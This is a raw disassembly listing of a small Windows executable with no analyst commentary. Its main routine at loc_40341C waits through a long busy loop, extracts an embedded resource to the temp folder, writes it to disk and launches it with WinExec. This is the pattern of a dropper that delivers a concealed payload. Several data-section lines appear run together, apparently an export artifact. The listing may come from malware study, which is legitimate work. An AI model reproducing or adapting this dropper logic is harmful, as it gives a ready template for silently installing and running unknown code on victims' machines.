; ---------------------------------------------------------------------------
		dw 90C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402EE0	proc near		; CODE XREF: sub_403238+1Ap
					; sub_403238+2Fp
		pop	dword_404004
		jmp	sub_402ED4
sub_402EE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_402EEC	proc near		; CODE XREF: sub_402F3C+23p
					; .data:004030C8p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402F0E
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_402F0E
		lock dec dword ptr [edx-8]
		jnz	short locret_402F0E
		push	eax
		lea	eax, [edx-8]
		call	sub_402458
		pop	eax

locret_402F0E:				; CODE XREF: sub_402EEC+4j
					; sub_402EEC+10j ...
		retn
sub_402EEC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_402F10	proc near		; CODE XREF: sub_402F3C+Bp
		test	eax, eax
		jle	short loc_402F38
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_402438
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_402F38:				; CODE XREF: sub_402F10+2j
		xor	eax, eax
		retn
sub_402F10	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_402F3C	proc near		; CODE XREF: sub_402F6C+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_402F10
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_402F5D
		mov	edx, eax
		mov	eax, esi
		call	sub_4024EC


loc_402F5D:				; CODE XREF: sub_402F3C+16j
		mov	eax, ebx
		call	sub_402EEC
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402F3C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_402F6C	proc near		; CODE XREF: .data:0040309Ep
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_402F79
		not	ecx


loc_402F79:				; CODE XREF: sub_402F6C+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_402F3C
sub_402F6C	endp

; ---------------------------------------------------------------------------
		db 0C3h
		dd 45E911B0h, 0C3FFFFF5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F8C	proc near		; CODE XREF: sub_402FF8+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, dword_404020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402FDF


loc_402FA6:				; CODE XREF: sub_402F8C+51j
		xor	eax, eax
		push	ebp
		push	offset byte_402FC7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_402FD1
; ---------------------------------------------------------------------------
byte_402FC7	db 0E9h			; DATA XREF: sub_3D638C+1Do
					; sub_402F8C+1Do
		dd 0FFFFF890h, 0FFFA43E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_402FD1:				; CODE XREF: sub_402F8C+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_402FA6


loc_402FDF:				; CODE XREF: sub_402F8C+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402F8C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_402FE8	proc near		; CODE XREF: sub_4032BC+5p
		mov	edx, dword_40401C
		mov	[eax], edx
		mov	dword_40401C, eax
		retn
sub_402FE8	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FF8	proc near		; CODE XREF: sub_402DFC+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset dword_40305C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_402F8C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403063
		mov	eax, [ebp+var_4]
		cmp	eax, dword_40401C
		jnz	short loc_40303C
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	dword_40401C, eax
		jmp	short loc_40305B
; ---------------------------------------------------------------------------


loc_40303C:				; CODE XREF: sub_402FF8+36j
		mov	eax, dword_40401C
		test	eax, eax
		jz	short loc_40305B


loc_403045:				; CODE XREF: sub_402FF8+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_403055
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_40305B
; ---------------------------------------------------------------------------


loc_403055:				; CODE XREF: sub_402FF8+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_403045


loc_40305B:				; CODE XREF: sub_402FF8+42j
					; sub_402FF8+4Bj ...
		retn
; ---------------------------------------------------------------------------
dword_40305C	dd 0FFF927E9h						; sub_402FF8+Ao
		db 0FFh, 0EBh, 0C2h
; ---------------------------------------------------------------------------


loc_403063:				; CODE XREF: sub_3D63F8:loc_3D645Bj
					; sub_402FF8:loc_40305Bj
					; DATA XREF: ...
		pop	ecx
		pop	ebp
		retn
sub_402FF8	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp-10h], edx
		xor	edx, edx
		push	ebp
		push	offset word_4030CE
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp-0Bh]
		push	edx
		push	1004h
		push	eax
		call	sub_401048	; GetLocaleInfoA
		lea	eax, [ebp-10h]
		lea	edx, [ebp-0Bh]
		mov	ecx, 7
		call	sub_402F6C
		mov	eax, [ebp-10h]
		lea	edx, [ebp-4]
		call	sub_402584
		mov	ebx, eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4030B8
		xor	ebx, ebx


loc_4030B8:				; CODE XREF: .data:004030B4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4030D5
		lea	eax, [ebp-10h]
		call	sub_402EEC
		retn
; ---------------------------------------------------------------------------
word_4030CE	dw 0B5E9h		; DATA XREF: .data:003D6477o
					; .data:00403077o
		dd 0EBFFFFF8h
		db 0F0h
; ---------------------------------------------------------------------------


loc_4030D5:				; CODE XREF: .data:003D64CDj
					; .data:004030CDj
					; DATA XREF: ...
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset word_403126
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_4055A4
		jnz	short loc_403118
		mov	eax, offset dword_405038
		call	sub_40252C
		mov	eax, offset dword_405204
		call	sub_40252C
		mov	eax, offset dword_4053D0
		call	sub_40252C
		call	sub_40183C


loc_403118:				; CODE XREF: .data:004030F3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40312D
		retn
; ---------------------------------------------------------------------------
word_403126	dw 5DE9h		; DATA XREF: .data:003D64E2o
					; .data:004030E2o
		dd 0EBFFFFF8h
		db 0F8h
; ---------------------------------------------------------------------------


loc_40312D:				; CODE XREF: .data:003D6525j
					; .data:00403125j
					; DATA XREF: ...
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aRgDu@		db 'ƒ-¤U@',0
		dw 0F01h
		dd 0C583h, 805C600h, 2004040h, 501005C7h, 10080040h, 5C70040h
		dd 405014h, 401010h, 503605C6h,	0C7020040h, 40500005h
		dd 402F8400h, 0F4F2E800h, 0C084FFFFh, 19E80574h, 0E8FFFFF5h
		dd 0FFFFF5D8h, 3C05C766h, 0B0004050h, 5C766D7h,	405208h
		dd 0C766D7B0h, 4053D405h, 0E8D7B000h, 0FFFFDEA4h, 40502CA3h
		dd 0DEE2E800h, 28A3FFFFh, 0E8004050h, 0FFFFDED0h, 25h
		dd 3D80h, 2D748000h, 0FFDEBFE8h, 0FF25FFh, 83660000h, 0C7604F8h
		dd 55A805C7h, 30040h, 20EB0000h, 0FFDE7BE8h, 0FE86E8FFh
		dd 0A8A3FFFFh, 0EB004055h, 0DE6AE80Fh, 75E8FFFFh, 0A3FFFFFEh
		dd 4055A8h, 0FFDE7BE8h,	5020A3FFh, 90C30040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403204	proc near		; CODE XREF: sub_4032C8+Cp
		jmp	dword_4060F8
sub_403204	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40320C	proc near		; CODE XREF: sub_403224+3p
		jmp	dword_4060F4
sub_40320C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403214	proc near		; CODE XREF: sub_40327C+25p
					; sub_40327C+36p
		jmp	dword_4060F0
sub_403214	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40321C	proc near		; CODE XREF: sub_403238+3Dp
		jmp	dword_4060EC
sub_40321C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_403224	proc near		; CODE XREF: sub_403238+21p
		push	eax
		push	40h
		call	sub_40320C
		retn
sub_403224	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_403230	proc near		; CODE XREF: sub_403238+1p
		mov	eax, 8
		retn
sub_403230	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_403238	proc near		; CODE XREF: sub_40327C:loc_403296p
		push	ebx
		call	sub_403230
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40327A
		cmp	dword_404084, 0FFFFFFFFh
		jnz	short loc_403257
		mov	eax, 0E2h
		call	sub_402EE0
; ---------------------------------------------------------------------------


loc_403257:				; CODE XREF: sub_403238+13j
		mov	eax, ebx
		call	sub_403224
		test	eax, eax
		jnz	short loc_40326E
		mov	eax, 0E2h
		call	sub_402EE0
; ---------------------------------------------------------------------------
		db 0EBh, 0Ch
; ---------------------------------------------------------------------------


loc_40326E:				; CODE XREF: sub_403238+28j
		push	eax
		mov	eax, dword_404084
		push	eax
		call	sub_40321C


loc_40327A:				; CODE XREF: sub_403238+Aj
		pop	ebx
		retn
sub_403238	endp


; =============== S U B	R O U T	I N E =======================================



sub_40327C	proc near		; CODE XREF: sub_402484+20p
					; sub_4024DC+3p
		mov	cl, byte_40564C
		mov	eax, dword_404084
		test	cl, cl
		jnz	short loc_4032B1
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_403296:				; CODE XREF: sub_40327C+3Dj
		call	sub_403238
		mov	eax, dword_404084
		push	eax
		call	sub_403214
		test	eax, eax
		jz	short loc_4032AB
		retn
; ---------------------------------------------------------------------------


loc_4032AB:				; CODE XREF: sub_40327C+2Cj
		mov	eax, dword_405658
		retn
; ---------------------------------------------------------------------------


loc_4032B1:				; CODE XREF: sub_40327C+Dj
		push	eax
		call	sub_403214
		test	eax, eax
		jz	short loc_403296
		retn
sub_40327C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032BC	proc near		; CODE XREF: sub_4032C8+2Ep
		mov	eax, offset dword_404088
		call	sub_402FE8
		retn
sub_4032BC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_4032C8	proc near		; CODE XREF: .data:0040354Bp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	dword_404084, eax
		push	0
		call	sub_403204
		mov	dword_405650, eax
		mov	eax, dword_405650
		mov	dword_40408C, eax
		xor	eax, eax
		mov	dword_404090, eax
		xor	eax, eax
		mov	dword_404094, eax
		call	sub_4032BC
		mov	edx, offset dword_404088
		mov	eax, ebx
		call	sub_402CA4
		pop	ebx
		retn
sub_4032C8	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403331
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_405654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403338
		retn
; ---------------------------------------------------------------------------
byte_403331	db 0E9h, 52h, 0F6h	; DATA XREF: .data:003D6712o
					; .data:00403312o
		dd 0F8EBFFFFh
; ---------------------------------------------------------------------------


loc_403338:				; CODE XREF: .data:003D6730j
					; .data:00403330j
					; DATA XREF: ...
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aLGTv@		db '‹Àƒ-TV@',0
		dw 0C301h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403369
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_40565C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403370
		retn
; ---------------------------------------------------------------------------
byte_403369	db 0E9h, 1Ah, 0F6h	; DATA XREF: .data:003D674Ao
					; .data:0040334Ao
		dd 0F8EBFFFFh
; ---------------------------------------------------------------------------


loc_403370:				; CODE XREF: .data:003D6768j
					; .data:00403368j
					; DATA XREF: ...
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aLGV@		db '‹Àƒ-\V@',0
		dw 0C301h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40337C	proc near		; CODE XREF: .data:004034C7p
		jmp	dword_406130
sub_40337C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403384	proc near		; CODE XREF: .data:0040349Bp
		jmp	dword_40612C
sub_403384	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40338C	proc near		; CODE XREF: .data:0040355Bp
		jmp	dword_406128
sub_40338C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403394	proc near		; CODE XREF: .data:00403562p
		jmp	dword_406124
sub_403394	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40339C	proc near		; CODE XREF: .data:0040345Bp
		jmp	dword_406120
sub_40339C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033A4	proc near		; CODE XREF: .data:0040344Cp
		jmp	dword_40611C
sub_4033A4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033AC	proc near		; CODE XREF: .data:004034B4p
		jmp	dword_406118
sub_4033AC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033B4	proc near		; CODE XREF: .data:004034BAp
		jmp	dword_406114
sub_4033B4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033BC	proc near		; CODE XREF: .data:004034ABp
		jmp	dword_406110
sub_4033BC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033C4	proc near		; CODE XREF: .data:004034D5p
		jmp	dword_40610C
sub_4033C4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033CC	proc near		; CODE XREF: .data:004034C1p
		jmp	dword_406108
sub_4033CC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033D4	proc near		; CODE XREF: .data:0040347Dp
		jmp	dword_406104
sub_4033D4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033DC	proc near		; CODE XREF: .data:0040346Ap
		jmp	dword_406100
sub_4033DC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403409
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_405660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403410
		retn
; ---------------------------------------------------------------------------
byte_403409	db 0E9h, 7Ah, 0F5h	; DATA XREF: .data:003D67EAo
					; .data:004033EAo
		dd 0F8EBFFFFh
; ---------------------------------------------------------------------------


loc_403410:				; CODE XREF: .data:003D6808j
					; .data:00403408j
					; DATA XREF: ...
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aLGV@_0		db '‹Àƒ-`V@',0
		dw 0C301h
; ---------------------------------------------------------------------------


loc_40341C:				; DATA XREF: .data:003D6952o
					; .data:00403552o
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCF4h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+10h]
		mov	eax, 0


loc_403430:				; CODE XREF: .data:0040343Cj
		inc	eax
		nop
		nop
		nop
		add	ecx, 1
		cmp	eax, 56904055h
		jl	short loc_403430
		xor	eax, eax
		lea	eax, [ebp-309h]
		push	eax
		push	104h
		call	sub_4033A4
		or	edi, 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	0
		call	sub_40339C
		mov	ebx, eax
		push	esi
		lea	eax, [ebp-205h]
		push	eax
		call	sub_4033DC
		lea	eax, [ebp-205h]
		push	eax
		lea	eax, [ebp-309h]
		push	eax
		call	sub_4033D4
		push	1
		push	80h
		push	2
		push	0
		push	2
		push	40000000h
		lea	eax, [ebp-309h]
		push	eax
		call	sub_403384
		mov	esi, eax
		push	0
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	0
		call	sub_4033BC
		push	eax
		push	ebx
		push	0
		call	sub_4033AC
		push	eax
		call	sub_4033B4
		push	eax
		push	esi
		call	sub_4033CC
		push	esi
		call	sub_40337C
		push	5
		lea	eax, [ebp-309h]
		push	eax
		call	sub_4033C4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0
; ---------------------------------------------------------------------------


loc_4034E8:				; DATA XREF: .data:003D693Co
					; .data:0040353Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403507
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40350E
		retn
; ---------------------------------------------------------------------------
byte_403507	db 0E9h			; DATA XREF: .data:003D68EEo
					; .data:004034EEo
		dd 0FFFFF47Ch
		db 0EBh, 0F8h
; ---------------------------------------------------------------------------


loc_40350E:				; CODE XREF: .data:003D6906j
					; .data:00403506j
					; DATA XREF: ...
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_403510	dd 5, 403518h, 40333Ch,	40330Ch, 403130h, 4030DCh, 403374h
					; DATA XREF: .data:003D6946o
					; .data:00403546o
		dd 403344h, 403414h, 4033E4h, 0
		dd offset loc_4034E8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	eax, offset dword_403510
		call	sub_4032C8
		push	0
		push	offset loc_40341C
		push	0Ah
		push	0
		call	sub_40338C
		push	0
		call	sub_403394
		call	sub_402DFC
; ---------------------------------------------------------------------------
		dd 2A5h	dup(0)
dword_404000	dd 0							; sub_3D6140+2w ...
dword_404004	dd 0							; sub_3D60E4+37r ...
		dd offset word_408D02
word_40400C	dw 1332h		; DATA XREF: .data:003D5A96r
					; .data:loc_3D5B08r ...
		dw 0C08Bh
		dd offset byte_408D00
		dd offset byte_408D00
byte_404018	db 0			; DATA XREF: sub_3D6170:loc_3D61D1r
					; sub_402D70:loc_402DD1r
		db 8Dh,	40h, 0
dword_40401C	dd 0		dword_404020	dd 0							; sub_402F8C+Cr
off_404024	dd offset sub_401E64	; DATA XREF: sub_3D5838+5r
					; sub_402438+5r
off_404028	dd offset sub_401FF4	; DATA XREF: sub_3D5858+5r
					; sub_402458+5r
		dd offset loc_402374
byte_404030	db 0			; DATA XREF: sub_3D5884+36r
					; sub_402484+36r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0
aFxn@		db 'äå@',0
aError		db 'Error',0            ; DATA XREF: sub_3D6170+6Co
					; sub_402D70+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_3D60E4+3o
					; sub_3D6170+32o ...
		dw 0C08Bh
byte_404074	db 30h			; DATA XREF: sub_3D60E4+41r
					; sub_402CE4+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
dword_404084	dd 0FFFFFFFFh						; sub_3D6638+37r ...
dword_404088	dd 0							; sub_3D66C8+33o ...
dword_40408C	dd 0							; sub_4032C8+1Bw
dword_404090	dd 0							; sub_4032C8+22w
dword_404094	dd 0							; sub_4032C8+29w
		dd 3DCh	dup(0)
dword_405008	dd 0							; sub_3D5884+16r ...
		align 10h
dword_405010	dd 0		dword_405014	dd 0							; sub_402CA4+Aw
dword_405018	dd 0							; sub_3D61FC+B1r ...
dword_40501C	dd 0							; sub_402CA4+29w
		dd 0
byte_405024	db 0			; DATA XREF: sub_3D60A4+33w
					; sub_402CA4+33w
		align 10h
dword_405030	dd 0							; sub_402DFC+Eo
byte_405034	db 0			; DATA XREF: sub_3D6170+1r
					; sub_402D70+1r
byte_405035	db 0			; DATA XREF: sub_3D4B78+1Br
					; sub_3D4B78+A2r ...
		align 4
dword_405038	dd 73h dup(0)						; .data:003D64F5o ...
dword_405204	dd 0							; .data:003D64FFo ...
word_405208	dw 0			; DATA XREF: sub_3D6170+Ar
					; sub_402D70+Ar
		align 10h
dword_405210	dd 0							; sub_402D70+15r
		align 10h
dword_405220	dd 0							; sub_402D70+23r
		dd 6Bh dup(0)
dword_4053D0	dd 73h dup(0)						; .data:00403109o
dword_40559C	dd 0							; sub_3D5170+92w ...
dword_4055A0	dd 0							; sub_3D5170+9Bw ...
dword_4055A4	dd 0							; .data:004030EDw
		dd 0
byte_4055AC	db 0			; DATA XREF: sub_3D4B78+8Ew
					; sub_3D4C3C+4r ...
		align 10h
dword_4055B0	dd 0							; sub_3D48B8+63w ...
dword_4055B4	dd 6 dup(0)						; sub_3D4B78+24o ...
dword_4055CC	dd 0							; sub_3D44EC+2Aw ...
dword_4055D0	dd 0							; sub_3D4574+Ar ...
dword_4055D4	dd 0							; sub_3D46F4+51o ...
		dd 3 dup(0)
dword_4055E4	dd 4 dup(0)						; sub_3D49C8+Eo ...
dword_4055F4	dd 0							; sub_401778+7Fo
dword_4055F8	dd 0							; sub_401D70:loc_401D80r
		align 10h
dword_405600	dd 0							; sub_3D4D1C+1r ...
dword_405604	dd 0		dword_405608	dd 0							; sub_3D500C+2Er ...
dword_40560C	dd 0							; sub_3D4B78+5Dr ...
dword_405610	dd 0							; sub_3D4C3C+81o ...
		align 10h
dword_405620	dd 0							; sub_3D6140+Do ...
dword_405624	dd 0							; sub_3D5FBC+2r ...
dword_405628	dd 0							; sub_3D60A4+14w ...
dword_40562C	dd 0							; sub_3D60A4+1Bw ...
dword_405630	dd 0							; sub_402CA4+20w
		dd 6 dup(0)
byte_40564C	db 0			; DATA XREF: sub_3D667Cr sub_40327Cr
		align 10h
dword_405650	dd 0							; sub_3D66C8+16r ...
dword_405654	dd 0							; .data:0040331Dw
dword_405658	dd 0							; sub_40327C:loc_4032ABr
dword_40565C	dd 0							; .data:00403355w
dword_405660	dd 0							; .data:004033F5w
		dd 26Ah	dup(0)
		dd 6138h, 6078h, 3 dup(0)
		dd 62C0h, 60D0h, 3 dup(0)
		dd 62ECh, 60DCh, 3 dup(0)
		dd 632Ch, 60ECh, 3 dup(0)
		dd 6378h, 6100h, 5 dup(0)
dword_406078	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_40607C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_406080	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_406084	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_406088	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_40608C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_406090	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_406094	dd 7C80998Dh	; resolved to->KERNEL32.LocalAlloc		dd 7C8111DAh, 7C809728h, 7C80A415h, 7C801EEEh
dword_4060A8	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C812F1Dh
dword_4060B0	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_4060B4	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4060B8	dd 7C810D87h	; resolved to->KERNEL32.WriteFile		dd 7C862E2Ah, 7C937A40h, 7C812A09h
dword_4060C8	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle		align 10h
		dd 62CCh
dword_4060D4	dd 62DEh			dd 0
dword_4060DC	dd 62FAh	dword_4060E0	dd 630Eh	dword_4060E4	dd 631Eh			dd 0
dword_4060EC	dd 633Ah	dword_4060F0	dd 6348h	dword_4060F4	dd 6356h	dword_4060F8	dd 6364h			align 10h
dword_406100	dd 6386h	dword_406104	dd 6392h	dword_406108	dd 639Eh	dword_40610C	dd 63AAh	dword_406110	dd 63B4h	dword_406114	dd 63C6h	dword_406118	dd 63D6h	dword_40611C	dd 63E6h	dword_406120	dd 63F6h	dword_406124	dd 6406h	dword_406128	dd 6414h	dword_40612C	dd 642Ah	dword_406130	dd 6438h			align 8
aKernel32_dll_6	db 'kernel32.dll',0
		align 4
aDeletecritic_0	db 'DeleteCriticalSection',0
		align 10h
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 4
aEntercritica_0	db 'EnterCriticalSection',0
		align 10h
aInitializecr_0	db 'InitializeCriticalSection',0
		align 4
aVirtualfree_0	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion_0	db 'GetVersion',0
		align 10h
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadloc_0	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	65470000h, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h, 78450000h
		dd 72507469h, 7365636Fh, 73h, 74697257h, 6C694665h, 65h
		dd 61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh
		dd 7265746Ch, 0
aRtlunwind_0	db 'RtlUnwind',0
		align 10h
aRaiseexcepti_0	db 'RaiseException',0
		align 10h
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h
		dd 6C6Ch, 65470000h, 79654B74h,	72616F62h, 70795464h, 65h
		dd 7373654Dh, 42656761h, 41786Fh, 61766461h, 32336970h
		dd 6C6C642Eh, 0
aRegqueryvalu_0	db 'RegQueryValueExA',0
		align 10h
aRegopenkeyex_0	db 'RegOpenKeyExA',0
		align 10h
aRegclosekey_1	db 'RegCloseKey',0
aKernel32_dll_7	db 'kernel32.dll',0
		align 4
aTlssetvalue_0	db 'TlsSetValue',0
		dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
		dd 636Fh, 65470000h, 646F4D74h,	48656C75h, 6C646E61h, 4165h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aLstrcpya_0	db 'lstrcpyA',0
		align 4
aLstrcata_0	db 'lstrcatA',0
		align 10h
aWritefile_0	db 'WriteFile',0
		align 4
aWinexec_0	db 'WinExec',0
		dd 69530000h, 666F657Ah, 6F736552h, 65637275h, 0
aLockresource_0	db 'LockResource',0
		align 4
aLoadresource_0	db 'LoadResource',0
		align 4
aGettemppatha_0	db 'GetTempPathA',0
		align 4
